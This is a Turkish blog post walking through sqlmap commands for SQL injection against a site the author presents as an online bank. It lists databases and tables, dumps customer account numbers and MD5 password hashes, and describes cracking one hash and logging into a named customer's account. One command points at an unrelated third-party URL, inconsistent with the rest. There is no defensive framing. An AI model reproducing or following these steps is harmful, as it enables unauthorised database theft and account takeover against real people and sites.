Sqlmap Kullanımı ve Sql İnjection

Veri tabanı kullanan bazı web siteleri oluşturulurken sql sorgularında ufak tefek gibi gözüken fakat ciddi problemlere sebep olabilen hatalar ile oluşturulur, Bu hatalar web sitesini yazan yazılımcı arkadaş veya yazdığı dilin sürümüyle alakalı hatalardır. Ya o kişinin atladığı bir yer vardır ya da kullanılan dilin sürümünde bir eksiklik vardır. Bu nedenler çoğaltılabilir. Öncellikle şunu demeliyim ki sql sorguları veri tabanlarına belirli bir isteği yapmak üzere, yapılan isteğe karşılık olarak bir sonuç döndüren sorgulardır. Hal böyle olunca veri tabanına yapılan bir isteğin arasına girilmek istenilerek sql sorgusunun yapacak olduğu işlemi değil de sorguların arasına giren kişinin veri tabanından yapmasını istediği sorguları yazıp yazılımcı arkadaşın yazdığı sorguların arasına sokarak web sitesini hacklemek istemesidir. Bunun birçok payload ı vardır. Daha önce yazmış olduğum Sql injeciton saldırısı ve payloadlar adlı makalemde detaylı bir şekilde görebilirsiniz. Bu makalemde de herkes tarafından bilinen bgabank.com banka sistemi olarak çalışan web sitesindeki bulduğum bir sql injection zafiyeti sayesinde bütün kullanıcıların banka müşteri numaralarını ve şifreleri çektim. ( Denedim ve hepsinin hesabına girebiliyorum :D ) .Hem sqlmap ile sql açıklarından nasıl bir sistem hacklenir ve sqlmap sorgu parametrelerini paylaşacağım. Hadi başlayalım o zaman :) Lets gooo :D

Sqlmap github üzerinden python dili ile open source olarak geliştirilen bir hacking tooludur. Kullanmış olduğunuz bilgisayara kurmak için terminalimizi açıp

git clone https://github.com/sqlmapproject/sqlmap.git

yazmanız yeterli olacaktır. İndirme işlemi tamamlandıktan sonra sql açığı olabileceğini tahmin ettiğiniz site url sini önce bir cebinize koyun :D çünkü lazım olacak

Terminale gelip şu sqlmap parametresini girmeniz gerekiyor

python ./sqlmap.py -u "http://acik_bulunan_site_adresi.com/?sayfa=2" --dbs

Bu kısımda url i nereye yazacağınızı gösterdim, daha sonraki işlemlerde ise bunu tekrarlamaya gerek duymadığım için sqlmap parametreleri ile zafiyet bulunan sitenin url sini yazacağım. Ben şu url de açık buldum ve bu url üzerinden gideceğim

http://isube.bgabank.com/index.php?sayfa=arama.php&s1=%271or1=1 

İlk parametremizi giriyoruz

python ./sqlmap.py -u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=%271or1=1" --dbs

bu bize –dbs den de anlaşılacağı üzere site üzerinde kurulu veritabanlarını göstermektedir. (database show)

sqlmap_step1

Resimde gördüğünüz gibi taramayı başlattım ve olacak olanları bekliyorum :D

sqlmap_stepson

evet amacıma ulaştım ve bgabank.com sitesinin veritabanlarını listeledim :) Bir sonraki adım kullanmış oldukları veritabanı keşfedip o veritabanına saldırmak olacak. Ben hedef olarak bga_bank_4_0 adlı veritabanını seçtim. Hemen şu parametreyi yazalım da bu veritabanında neler varmış görelim :)

python ./sqlmap.py -u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=%271or1=1" -D bga_bank_4_0 --tables

sqlmap_step2

evet bu parametremizde başarılı bir şekilde çalıştığına göre seçmiş olduğumuz veritabanına ait olan tabloları da listeledik. Bir sonraki adım ise benim seçmiş olduğum tabiki müşteriler tablosu :D ( bnk_musteriler ). Müşteriler tablosundan ben müşterilerin sisteme giriş yaptığı müşteri numaralarını ve şifrelerini öğrenmek istiyorum.  Ama öncelikle müşteriler tablosunu listeleyelim

python ./sqlmap.py -u "http://www.icdcprague.org/index.php?id=%27" -D bga_bank_4_0 -T bnk_musteriler --columns

daha sonra müşteri numaraları ve şifrelerini çağırıyorum

python ./sqlmap.py -u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=%271or1=1" -D bga_bank_4_0 -T  bnk_musteriler -C m_numarasi,m_sifre --dump

sqlmap_step4

gördüğünüz gibi sisteme kayıtlı olan bütün müşterilerin hesapları artık benim elimde. Fakat burada şifreler md5 ile şifrelenmiş. Artık bunun da çevrilme işlemini yaptıkları için hemen kendimize bir tane kullanıcı seçip şifresini md5 decode edip okuduktan sonra hesabına giriş yapalım :) Benim tavsiye ettiğim md5 şifre dönüştürü bir site var, sizde bu linkten ulaşabilirsiniz. Ben şifreyi çevirdim ve kullanıcının kullanmış olduğu şifreyi elde ettim ve hemen sonrasında sisteme giriş yaptım

Screenshot from 2016-07-26 01:27:48

resimde de gördüğünüz üzere cihan diye bir arkadaşımızın hesabına girmiş bulunuyorum. Buraya geldikten sonra bu kişinin yaptığı havale/para yatırma cart curt ne varsa hepsini görebilirsiniz. Şimdilik benden bu kadar hepiniz Allaha emanetsiniz. Selametle :)


Yapılan Yorumlar
Erdem OFLAZ

Bir mum, diğer mumu tutuşturmakla ışığından bir şey kaybetmez.
 Kategoriler
 Popüler yazılar